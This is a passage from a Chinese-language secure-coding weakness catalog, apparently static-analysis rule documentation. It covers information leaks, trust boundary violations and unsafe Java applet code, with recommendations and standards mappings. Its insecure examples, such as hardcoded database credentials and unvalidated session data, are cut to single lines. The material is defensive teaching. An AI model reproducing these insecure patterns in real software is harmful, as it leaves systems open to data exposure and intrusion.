[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[12] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 209
[13] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 209
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
System Information Leak: Internal
ABSTRACT
揭示系统数据或调试信息有助于攻击者了解系统并制定攻击计划。
EXPLANATION
通过打印或日志功能将系统数据或调试信息发送到本地文件、控制台或屏幕时,就会发生内部信息泄露。
例 1:以下代码针对标准的错误流输出了一个异常:
1 | try { |
依据这一系统配置,该信息可转储到控制台,写成日志文件,或者显示给用户。在某些情况下,该错误消息恰好可以告诉攻击者入侵这一系统的可能性究竟有多大。例如,一个数据库错误消息可以揭示应用程序容易受到 SQL Injection 攻击。其他的错误消息可以揭示有关该系统的更多间接线索。在上述例子中,泄露的信息可能会暗示操作系统的类型、系统上安装了哪些应用程序,以及管理员在配置应用程序时做了哪些方面的努力。
在移动世界,信息泄露也让人担忧。
例 2:以下代码记录在 Android 平台上捕获到的堆栈跟踪异常。
1 | ... |
RECOMMENDATIONS
编写错误消息时,始终要牢记安全性。在编码的过程中,尽量避免使用繁复的消息,提倡使用简短的错误消息。限制生成与存储繁复的输出数据将有助于管理员和程序员诊断问题的所在。此外,还要留意有关调试的跟踪信息,有时它可能出现在不明显的位置(例如嵌入在错误页 HTML 代码的注释行中)。
即便是并未揭示栈踪迹或数据库转储的简短错误消息,也有可能帮助攻击者发起攻击。例如,“Access Denied”(拒绝访问)消息可以揭示系统中存在一个文件或用户。
REFERENCES
[1] Ernst Haselsteiner and Klemens Breitfuss Security in Near Field Communication (NFC): Strengths and Weaknesses
[2] ERR01-J. Do not allow exceptions to expose sensitive information CERT
[3] ENV02-J. Do not trust the values of environment variables CERT
[4] FUNDAMENTALS-4: Establish trust boundaries Oracle
[5] CONFIDENTIAL-1: Purge sensitive information from exceptions Oracle
[6] INPUT-1: Validate inputs Oracle
[7] Standards Mapping - Common Weakness Enumeration CWE ID 497
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M2 Insecure Data Storage
[10] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
System Information Leak: Overly Broad SQL Logging
ABSTRACT
记录过多有关 SQL 查询的信息可能会泄露系统信息或危及用户隐私数据。
EXPLANATION
SQL 查询不应记录在生产系统中。SQL 查询通常包含敏感信息,例如信用卡详细信息或社会保障号码。以明文形式记录这些信息可能会危及其保密性。
例 1: log4j.properties 文件中的以下条目将使所有查询都记录在 info 级别。
1 | ... |
RECOMMENDATIONS
应限制将 SQL 查询记录到 debug 级别,并注意不要让应用程序处于生产环境中的调试模式。
例 2:以下条目将使 Hibernate 查询记录在 debug 级别。
1 | ... |
REFERENCES
[1] Red Hat Middleware, LLC Hibernate Reference Documentation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 497
[3] Standards Mapping - FIPS200 AU
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[7] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.4
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.4, Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.4, Requirement 6.5.5
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.4, Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.4, Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.4, Requirement 6.5.5
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
System Information Leak: Spring Boot Actuators Enabled
ABSTRACT
启用 Spring Boot Actuator 可以揭示系统数据和调试信息,有助于攻击者了解系统并制定攻击计划。
EXPLANATION
Spring Boot Actuator 允许用户监控应用程序并与应用程序进行交互。多个不同的内置 Actuator 可以通过 HTTP 端点、JMX 或者甚至通过远程 Shell(SSH 或 Telnet)暴露系统数据和调试信息。攻击者可以利用此信息了解系统,并收集可用于攻击应用程序的信息。
RECOMMENDATIONS
配置 Acutator 时,始终要牢记安全性。如果 Actuator 揭示敏感数据,应将其标记为敏感,以便未经过身份验证的用户无法访问它。
示例:以下属性可用于将所有 Actuator 端点变成敏感端点:
endpoints.sensitive=true
在编码的过程中,尽量避免使用繁复的消息,提倡使用简短的错误消息。限制生成与存储繁复的输出数据将有助于管理员和程序员诊断问题的所在。
REFERENCES
[1] Spring Boot Reference Guide Spring
[2] Standards Mapping - Common Weakness Enumeration CWE ID 497
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1), SI-11 Error Handling (P2)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
System Information Leak: Struts 2
ABSTRACT
揭示系统数据或调试信息有助于攻击者了解系统并制定攻击计划。
EXPLANATION
当系统数据或调试信息通过输出流或者日志功能流出程序时,就会发生信息泄漏。
在这种情况下,Struts 2 Config Browser 在 Maven pom.xml 文件中配置,因此它是可用的,并且与应用程序一起部署。
Config Browser 插件是一个调试工具,用来帮助在运行时查看应用程序的配置。调试与配置相关的问题时,该工具非常有用,但其暴露了过多详细信息,可能帮助攻击者映射应用程序和构建应用程序的模型。
RECOMMENDATIONS
在生产环境中,不应该部署 Config Browser。
REFERENCES
[1] Struts 2 Config Browser Plugin Apache Struts 2
[2] Standards Mapping - Common Weakness Enumeration CWE ID 497
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-001314, CCI-002420, CCI-003272
[5] Standards Mapping - FIPS200 CM
[6] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1), SI-11 Error Handling (P2)
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.3.4 Sensitive Private Data, 14.3.3 Unintended Security Disclosure Requirements
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[10] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[11] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[12] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Trust Boundary Violation
ABSTRACT
在同一数据结构中将可信赖数据和不可信赖数据混合在一起会导致程序员错误地信赖未验证的数据。
EXPLANATION
信任边界可以理解为在程序中划分的分界线。分界线的一边是不可信赖的数据。分界线的另一边则是被认定为是可信赖的数据。验证逻辑的用途是允许数据安全地跨越信任边界 — 从不可信赖的一边移动到可信赖的另一边。
当程序使可信赖和不可信赖的分界线模糊不清时,就会发生 Trust Boundary Violation 漏洞。发生这种错误的最普遍方式是允许可信赖的数据和不可信赖的数据共同混合在同一数据结构中。
示例:以下 Java 代码接受了一个 HTTP 请求。在 HTTP 会话对象中存储了 usrname 参数以后,再进行检查,以确保该用户已经过了验证。
1 | usrname = request.getParameter("usrname"); |
若不对信任边界进行合理构建及良好维护,则程序员不可避免地会混淆哪些数据已经过验证,哪些尚未经过验证。这种混淆最终会导致某些数据未经验证就加以使用了。
RECOMMENDATIONS
在应用程序中定义信任边界。不要在数据结构中储存在某些环境下受信任而在其他环境下又转而不可信赖的数据。应尽量减少数据跨越信任边界的方式。
在处理输入之前,需要通过一系列用户交互来累积输入时,有时就会出现 Trust Boundary Violation 漏洞。所以,在得出所有数据之前,不可能进行完整的输入验证。在这种情况下,维护信任边界仍然是非常重要的。应将不可信赖的数据添加到一个不受信任数据结构中,待验证后,再移至可信赖的区域。
REFERENCES
[1] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[2] FUNDAMENTALS-4: Establish trust boundaries Oracle
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 501
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M8 Security Decisions Via Untrusted Inputs
[8] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[11] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[12] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002360 CAT II, APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002360 CAT II, APSC-DV-002560 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002360 CAT II, APSC-DV-002560 CAT I
[21] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Unsafe Mobile Code: Access Violation
ABSTRACT
该程序违反了移动代码的安全编码原则,它从 public 访问方法中返回了一个 private 数组变量。
EXPLANATION
程序可以从 public 访问方法中返回一个 private 数组变量,通过此种方式,您可以调用代码来修改该数组的内容,还可以轻易地获取数组的 public 访问,并阻止程序员将其设置为 private 的计划。
例 1:以下 Java Applet 代码错误地从 public 访问方法中返回了一个 private 数组变量。
1 | public final class urlTool extends Applet { |
移动代码,在本例中也就是 Java Applet,通过网络进行传递并在远程机器上运行。因为移动代码的编写者很难控制其所编写代码的运行环境,所以在安全上提出特别的要求理所当然。一个最大的环境威胁在于,移动代码可以伴随其他潜在的恶意移动代码一起运行。因为所有的主流 web 浏览器会在同一 JVM 中执行来自多个来源的代码,所以,许多移动代码的安全指导原则都很关注可以访问到运行着您程序的同一虚拟机的攻击者,避免他们操纵您的对象的状态和行为。
RECOMMENDATIONS
请不要从 public 访问方式中返回 private 数组变量。应该在访问方法中提供对 private 成员数组的控制访问。
例 2: 例 1 中的代码应该用以下方式重写:
1 | public final class urlTool extends Applet { |
REFERENCES
[1] G. McGraw Securing Java. Chapter 7: Java Security Guidelines
[2] Standards Mapping - Common Weakness Enumeration CWE ID 495
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[7] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[10] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Unsafe Mobile Code: Database Access
ABSTRACT
在不可信赖的环境中执行 JDBC 数据库操作的 Applet 会危及数据库凭证安全。
EXPLANATION
默认情况下,允许 Java Applet 将数据库连接打开回它们从其下载的服务器。在可信赖的环境中,这是可接受的;然而,在不可信赖的环境中,攻击者可能会使用 Applet 查找数据库凭证,并最终获得对数据库的直接访问。
例 1:以下代码显示在 applet 中使用的硬编码的数据库密码。
1 | public class CustomerServiceApplet extends JApplet |
具有硬编码的 JDBC 凭证的 Applet 用户可以容易地找到凭证,因为 Applet 代码已下载到客户端。此外,如果通过未加密的通道建立数据库连接,那么能够在网络上截取信息流的任何人也可以获得这些凭证。最后,允许用户直接连接到数据库会暴露可公开访问的数据库服务器,这使得攻击者能够将该数据库作为直接网络攻击的目标。
RECOMMENDATIONS
绝不要使用将在客户端分布的代码对敏感凭证进行硬编码。要避免在必须连接到数据库的 Applet 中进行此操作,代理数据库将请求通过中间主机(如 Web 服务)。 例 2:以下代码将使用用户提供的凭证通过 Web 服务调用检索数据,而不是直接连接到具有硬编码凭证的数据库
1 | public class CustomerServiceApplet extends JApplet |
REFERENCES
[1] JDBC Guide: Getting Started - Security Considerations Sun Microsystems, Inc.
[2] Standards Mapping - Common Weakness Enumeration CWE ID 305
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[7] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[10] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Unsafe Mobile Code: Inner Class
ABSTRACT
该程序违反了移动代码的安全编码原则,它使用了一个 inner class。
EXPLANATION
Inner class 转换为 Java 字节码所采用的方式,导致它会悄然引入一些安全问题。在 Java 源代码中,inner class 只能由封装类来声明它是可以访问的,但是 Java 字节码中并没有 inner class 的概念,因此,编译器必须把一个内部类声明转换成与 package 有同等级别的类(有权访问源外部类)。由于内部类可以访问其封装类中的 private 字段,一旦某个 inner class 成为字节码中的同等类,该编译器便会把 inner class 访问的 private 字段转换成 protected 字段,这一点具有潜在的危险性。
例 1:以下 Java Applet 代码错误地使用了 inner class。
1 | public final class urlTool extends Applet { |
移动代码,在本例中也就是 Java Applet,通过网络进行传递并在远程机器上运行。因为移动代码的编写者很难控制其所编写代码的运行环境,所以在安全上提出特别的要求理所当然。一个最大的环境威胁在于,移动代码可以伴随其他潜在的恶意移动代码一起运行。因为所有的主流 web 浏览器会在同一 JVM 中执行来自多个来源的代码,所以,许多移动代码的安全指导原则都很关注可以访问到运行着您程序的同一虚拟机的攻击者,避免他们操纵您的对象的状态和行为。
RECOMMENDATIONS
避免使用 inner class。若必须使用,请仔细考虑编译器所要执行的转化行为带来的各种影响。是否可以把 private 字段降级为 protected?
例 2: 例 1 中的代码应该用以下方式重写:
1 | public final class urlTool extends Applet { |
REFERENCES
[1] G. McGraw Securing Java. Chapter 7: Java Security Guidelines
[2] Standards Mapping - Common Weakness Enumeration CWE ID 492
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[7] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[10] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Unsafe Mobile Code: Public finalize() Method
ABSTRACT
该程序违反了移动代码的安全编码原则,它将 finalize() 方法声明为 public。
EXPLANATION
除非在 finalize() 的实现方法内部调用 super.finalize(),否则请不要显式地调用 finalize。在移动代码中,手动垃圾回收这种带有错误倾向的操作会威胁到系统的安全,由于 finalize() 的声明中包含对 public 访问,因此会造成攻击者的恶意调用。如果您按其最初设计使用 finalize(),则应首先声明 finalize() 包含 protected 访问权限。
例 1:以下 Java Applet 代码错误地声明了一种 public finalize() 方法。
1 | public final class urlTool extends Applet { |
移动代码,在本例中也就是 Java Applet,通过网络进行传递并在远程机器上运行。因为移动代码的编写者很难控制其所编写代码的运行环境,所以在安全上提出特别的要求理所当然。一个最大的环境威胁在于,移动代码可以伴随其他潜在的恶意移动代码一起运行。因为所有的主流 web 浏览器会在同一 JVM 中执行来自多个来源的代码,所以,许多移动代码的安全指导原则都很关注可以访问到运行着您程序的同一虚拟机的攻击者,避免他们操纵您的对象的状态和行为。
RECOMMENDATIONS
应当避免使用 finalize()。因为它很不可信。千万不要将 finalize() 方法声明为 public。
例 2: 例 1 中的代码应该用以下方式重写:
1 | public final class urlTool extends Applet { |
REFERENCES
[1] G. McGraw Securing Java. Chapter 7: Java Security Guidelines
[2] MET12-J. Do not use finalizers CERT
[3] Standards Mapping - Common Weakness Enumeration CWE ID 583
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[8] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[11] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Unsafe Mobile Code: Unsafe Array Declaration
ABSTRACT
该程序违反了移动代码的安全编码原则,它声明了数组 public、final 和 static。
EXPLANATION
在大多数情况下,把数组声明为 public、final 和 static 是一个 bug。因为数组是一个可变的对象,而 final 限制要求数组对象本身只能分配一次,但并不保证数组元素的数值不变。既然数组是公用的,恶意程序便可以篡改数组中存储的值。所以,在大多数情况下,应将数组设置为 private。
例 1:以下 Java Applet 代码错误地把一个数组声明为 public、final 和 static。
1 | public final class urlTool extends Applet { |
移动代码,在本例中也就是 Java Applet,通过网络进行传递并在远程机器上运行。因为移动代码的编写者很难控制其所编写代码的运行环境,所以在安全上提出特别的要求理所当然。一个最大的环境威胁在于,移动代码可以伴随其他潜在的恶意移动代码一起运行。因为所有的主流 web 浏览器会在同一 JVM 中执行来自多个来源的代码,所以,许多移动代码的安全指导原则都很关注可以访问到运行着您程序的同一虚拟机的攻击者,避免他们操纵您的对象的状态和行为。
RECOMMENDATIONS
因为数组的内容不受 final 关键字的保护,所以数组必须声明为 private。无论什么时候,尽可能把所有成员变量都设置为 private。通过设置和获取的方法提供针对 private 成员变量的可控制的访问方式。
例 2: 例 1 中的代码应该用以下方式重写:
1 | public final class urlTool extends Applet { |
REFERENCES
[1] G. McGraw Securing Java. Chapter 7: Java Security Guidelines
[2] Standards Mapping - Common Weakness Enumeration CWE ID 582
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[7] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
